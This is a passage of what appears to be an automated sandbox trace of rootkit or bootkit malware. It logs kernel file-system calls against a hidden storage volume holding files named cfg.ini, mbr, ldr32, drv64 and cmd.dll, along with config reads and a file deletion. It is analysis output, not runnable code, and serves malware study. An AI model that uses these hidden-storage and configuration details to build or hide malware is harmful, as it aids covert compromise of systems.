_Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.362] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.362] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.362] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.362] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.362] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.362] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.362] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.362] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.363] KeLeaveCriticalRegion () [0126.363] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.363] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.363] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.363] KeEnterCriticalRegion () [0126.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.363] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.363] IdePortDispatch () returned 0x103 [0126.363] KeWaitForMutexObject () returned 0x0 [0126.363] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.363] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.363] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.363] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.363] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.363] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.363] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.363] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.363] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.363] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.363] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.363] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.363] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.363] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.363] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.363] KeLeaveCriticalRegion () [0126.363] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.363] ReleaseMutex (hMutex=0x100) returned 1 [0126.363] Sleep (dwMilliseconds=0x2bf20) [0126.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e857ab0, dwHighDateTime=0x1d24fa4)) [0126.370] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.370] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.370] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.370] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.370] KeEnterCriticalRegion () [0126.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.370] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.370] IdePortDispatch () returned 0x103 [0126.371] KeWaitForMutexObject () returned 0x0 [0126.371] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.371] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.371] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.371] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.371] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.371] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac8480 [0126.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.371] KeLeaveCriticalRegion () [0126.371] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.371] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.371] KeEnterCriticalRegion () [0126.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.371] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.371] KeLeaveCriticalRegion () [0126.371] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.371] KeEnterCriticalRegion () [0126.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.371] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.371] IdePortDispatch () returned 0x103 [0126.371] KeWaitForMutexObject () returned 0x0 [0126.371] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.371] KeLeaveCriticalRegion () [0126.371] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.372] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.372] KeEnterCriticalRegion () [0126.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.372] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347f000 [0126.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.372] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.372] IdePortDispatch () returned 0x103 [0126.372] KeWaitForMutexObject () returned 0x0 [0126.372] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.372] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.372] IdePortDispatch () returned 0x103 [0126.372] KeWaitForMutexObject () returned 0x0 [0126.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.372] KeLeaveCriticalRegion () [0126.372] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.373] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.373] KeEnterCriticalRegion () [0126.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.373] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.373] KeLeaveCriticalRegion () [0126.373] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.373] KeEnterCriticalRegion () [0126.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.373] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.373] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ecc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.373] KeLeaveCriticalRegion () [0126.373] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.373] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.373] KeEnterCriticalRegion () [0126.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.373] ExFreePoolWithTag (P=0xfffffa8003ac8480, Tag=0x0) [0126.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.373] KeLeaveCriticalRegion () [0126.373] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.373] ReleaseMutex (hMutex=0xf0) returned 1 [0126.373] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.373] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.373] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.373] KeEnterCriticalRegion () [0126.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.373] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.373] IdePortDispatch () returned 0x103 [0126.374] KeWaitForMutexObject () returned 0x0 [0126.374] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.374] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.374] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.374] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.374] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.374] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec1d0 [0126.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.374] KeLeaveCriticalRegion () [0126.374] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.374] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.374] KeEnterCriticalRegion () [0126.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.374] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.374] KeLeaveCriticalRegion () [0126.374] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.374] KeEnterCriticalRegion () [0126.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.374] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.374] IdePortDispatch () returned 0x103 [0126.374] KeWaitForMutexObject () returned 0x0 [0126.374] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.374] KeLeaveCriticalRegion () [0126.374] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.374] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.374] KeEnterCriticalRegion () [0126.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.374] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003485000 [0126.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.375] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.375] IdePortDispatch () returned 0x103 [0126.375] KeWaitForMutexObject () returned 0x0 [0126.375] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.375] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.375] IdePortDispatch () returned 0x103 [0126.375] KeWaitForMutexObject () returned 0x0 [0126.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.375] KeLeaveCriticalRegion () [0126.375] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.376] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.376] KeEnterCriticalRegion () [0126.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.376] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.376] KeLeaveCriticalRegion () [0126.376] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.376] KeEnterCriticalRegion () [0126.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.376] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.376] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.376] KeLeaveCriticalRegion () [0126.376] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.376] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.376] KeEnterCriticalRegion () [0126.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.376] ExFreePoolWithTag (P=0xfffffa80037ec1d0, Tag=0x0) [0126.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.376] KeLeaveCriticalRegion () [0126.376] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.376] ReleaseMutex (hMutex=0xf0) returned 1 [0126.376] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.376] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.376] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.376] KeEnterCriticalRegion () [0126.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.376] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.376] IdePortDispatch () returned 0x103 [0126.376] KeWaitForMutexObject () returned 0x0 [0126.376] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.377] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.377] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.377] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.377] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.377] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8007df3b10 [0126.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.377] KeLeaveCriticalRegion () [0126.377] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.377] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.377] KeEnterCriticalRegion () [0126.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.377] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.377] KeLeaveCriticalRegion () [0126.377] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.377] KeEnterCriticalRegion () [0126.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.377] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.377] IdePortDispatch () returned 0x103 [0126.377] KeWaitForMutexObject () returned 0x0 [0126.377] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.377] KeLeaveCriticalRegion () [0126.377] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.377] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.377] KeEnterCriticalRegion () [0126.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.377] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003486000 [0126.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.377] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.377] IdePortDispatch () returned 0x103 [0126.378] KeWaitForMutexObject () returned 0x0 [0126.378] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.378] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.378] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.378] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.378] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.378] IdePortDispatch () returned 0x103 [0126.378] KeWaitForMutexObject () returned 0x0 [0126.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.378] KeLeaveCriticalRegion () [0126.378] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.378] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.378] KeEnterCriticalRegion () [0126.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.378] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.379] KeLeaveCriticalRegion () [0126.379] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.379] KeEnterCriticalRegion () [0126.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.379] IoGetRequestorProcess 